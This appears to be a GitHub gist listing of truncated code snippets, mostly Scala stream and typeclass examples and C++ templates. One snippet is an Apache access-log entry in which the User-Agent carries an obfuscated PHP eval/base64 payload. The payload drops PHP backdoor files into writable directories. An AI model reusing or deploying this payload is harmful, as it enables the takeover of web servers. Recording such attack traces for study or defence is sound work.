This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def unchunkF[F[_], A](implicit F: Foldable[F]): Process1[F[A], A] = | |
id[F[A]].flatMap(fa => emitAll(F.toIndexedSeq(fa))) | |
//id[F[A]].flatMap(fa => F.foldLeft(fa, halt: Process1[F[A], A])((p, a) => p fby emit(a))) | |
/* | |
examples: | |
scala> val tree = '2'.node('1'.node('5'.leaf), '3'.leaf) | |
tree: scalaz.Tree[Char] = <tree> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package scalaz.stream.examples | |
import scala.util.Random | |
import scalaz.concurrent.Task | |
import scalaz.stream._ | |
object Manifesto extends App { | |
val reactivemanifestowords = "Application requirements have changed dramatically in recent years. Only a few years ago a large application had tens of servers, seconds of response time, hours of offline maintenance and gigabytes of data. Today applications are deployed on everything from mobile devices to cloud-based clusters running thousands of multicore processors. Users expect millisecond or even microsecond response times and 100% uptime. Data needs are expanding into the petabytes.".split(" ").toIndexedSeq | |
val randomWord: Process[Task, String] = |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package scalaz.stream | |
import java.nio.file.{DirectoryStream, Path} | |
import java.nio.file.Files._ | |
import scalaz.concurrent.Task | |
import Process._ | |
object os { | |
def listDirectory(dir: Path): Process[Task, Path] = |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import scala.language.higherKinds | |
import scala.collection.TraversableLike | |
def minGroupBy[CC[A], A, B](c: CC[A])(f: A => B) | |
(implicit ev1: CC[A] => TraversableLike[A, CC[A]], | |
ev2: Ordering[B]): CC[A] = { | |
val grouped = c.groupBy(f) | |
if (grouped.nonEmpty) grouped.minBy(_._1)._2 else c | |
} //> minGroupBy: [CC[A], A, B](c: CC[A])(f: A => B)(implicit ev1: CC[A] => scala. | |
//| collection.TraversableLike[A,CC[A]], implicit ev2: Ordering[B])CC[A] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from /var/log/apache2/access.log: | |
46.105.114.130 - - [27/Feb/2013:18:27:52 +0100] "GET / HTTP/1.1" 200 772 "" "<?php eval(base64_decode(\"YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfThkOTQ2YmY5NGY1YTU2MDY0NmNmNzdmYjYwOTg4MWQ0LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCU |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// see http://stackoverflow.com/questions/14924707/how-to-write-a-scalaz-isempty-parameter-for-generic-types | |
import scalaz._ | |
import Scalaz._ | |
object Test { | |
def asOption[C](c: C)(implicit ev: IsEmpty[({type F[_] = C})#F]): Option[C] = | |
if (ev.isEmpty(c)) None else Some(c) | |
implicit def detailedIsEmpty[A, C[_]](implicit ev: IsEmpty[C]) = |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <memory> | |
template<class T> | |
struct enable_weak_from_this { | |
enable_weak_from_this() : ref_{static_cast<T*>(this), nopDeleter} {} | |
std::weak_ptr<T> weak_from_this() const { | |
return ref_; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <algorithm> | |
#include <iostream> | |
#include <iterator> | |
#include <list> | |
#include <string> | |
using namespace std; | |
template<class T> |
NewerOlder